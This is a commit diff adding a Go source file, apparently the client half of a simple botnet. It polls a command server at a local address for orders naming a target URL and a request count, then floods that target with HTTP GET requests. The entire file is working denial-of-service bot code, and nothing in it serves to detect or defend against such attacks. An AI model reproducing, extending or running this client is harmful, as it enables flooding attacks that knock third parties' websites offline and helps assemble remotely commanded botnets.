implemented v2

v2/client/main.go

@@ -0,0 +1,61 @@
+package main
+
+import (
+	"encoding/json"
+	"fmt"
+	"log"
+	"net/http"
+	"strconv"
+	"time"
+
+	"github.com/fatih/color"
+)
+
+const SERVER = "127.0.0.1:3000"
+const sleeptime = 3000
+
+type Order struct {
+	Target string `json:"target"`
+	Count  int    `json:"count"`
+}
+
+var order Order
+
+/*
+  note: all the fmt.Println, color.Green/Blue/Red... and log.Panic, are just to run in development
+*/
+
+func runDos(target string, count int) {
+	for i := 0; i < count; i++ {
+		_, err := http.Get(target)
+		if err != nil {
+			fmt.Println(err)
+		}
+		color.Blue("request " + strconv.Itoa(i) + "/" + strconv.Itoa(count) + " to " + target)
+	}
+	fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
+	color.Green(" - all requests finalized")
+}
+func main() {
+	for {
+		fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
+		fmt.Println(" - getting order from server")
+		res, err := http.Get("http://" + SERVER)
+		if err != nil {
+			fmt.Println("server not alive")
+			time.Sleep(sleeptime * time.Millisecond)
+			continue
+		}
+		decoder := json.NewDecoder(res.Body)
+		err = decoder.Decode(&order)
+		if err != nil {
+			log.Panic(err)
+		}
+		if order.Target != "" {
+			fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
+			color.Yellow("running Dos")
+			runDos(order.Target, order.Count)
+		}
+		time.Sleep(sleeptime * time.Millisecond)
+	}
+}